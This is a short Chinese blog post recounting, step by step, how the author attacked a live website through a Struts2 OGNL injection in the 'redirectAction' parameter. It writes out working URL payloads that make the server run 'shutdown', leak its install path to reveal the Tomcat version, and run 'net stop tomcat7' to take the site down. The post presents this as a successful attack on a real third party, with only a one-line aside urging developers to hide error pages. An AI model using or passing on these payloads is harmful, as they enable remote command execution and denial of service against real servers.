Struts漏洞
2017-09-12 13:51:21    234    0    0
gaara

1. 选Victim。怎么知道它是用struts做的呢?通常是500错误告诉我们的,一般随便去下载一个不存在的文件,那些粗制滥造的网站就报500了,错误信息栈暴露了它的OS信息(它会直接告诉我们D:/.../xxx.pdf不存在,那就肯定是Windows了),还有Apache的版本、Tomcat的版本,从错误信息还可以看出它使用的是SSH... (做web apps的同学们,一定要自己定制500页面啊,否则一不小心就暴露了。。。
2. 开始第一波攻击:
   http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'shutdown','-s','-t','2'})).start()}
   它返回的是http://www.**.com/struts2-showcase/employee/java.lang.ProcessImpl@e18f46.action, 说明这个process成功启动了,2秒之后它的服务器就会被关掉。
   再去用Chrome访问http://www.**.com/,Chrome告诉我的是Oops! Google Chrome could not connect to www.**.com,证明服务器确实被我关掉了?
   不要高兴得太早,过了一两分钟发现它又回来了 -- 莫非它的服务器会自动重启的?
3. 开始第二波攻击:  
   既然关你服务器没用,那我直接干掉你的猫(管它猫有没有9条命)
   猜想它tomcat是配了windows服务的,如果真是这样,只要net stop xx就可以杀掉这只猫。那么这个xx是什么呢?这就需要知道tomcat的版本了。
   那么怎么知道tomcat的版本呢?我们可以一个一个去猜,到目前为止,tomcat最高版本也就7嘛,这个好猜。
   不想猜的话,那就让它自己来告诉我们:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.io.File('.')).getAbsolutePath().replaceAll(':','')}
   它返回的是 http://www.**.com/struts2-showcase/employee/D/program%20files/apache-tomcat-7.0.29/bin/..action
   说明这只猫在D:/program files/apache-tomcat-7.0.29/这里,版本是7.0.29,那么对应的服务名就应该是tomcat7了。
   出绝招:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'net','stop','tomcat7'})).start()}
4. 这次这只猫真的死翘翘了,www.**.com再也打不开了。收工。

Pre: list的四种遍历方法

Next: echo命令简要说明

234
Sign in to leave a comment.
No Leanote account? Sign up now.
0 comments
Table of content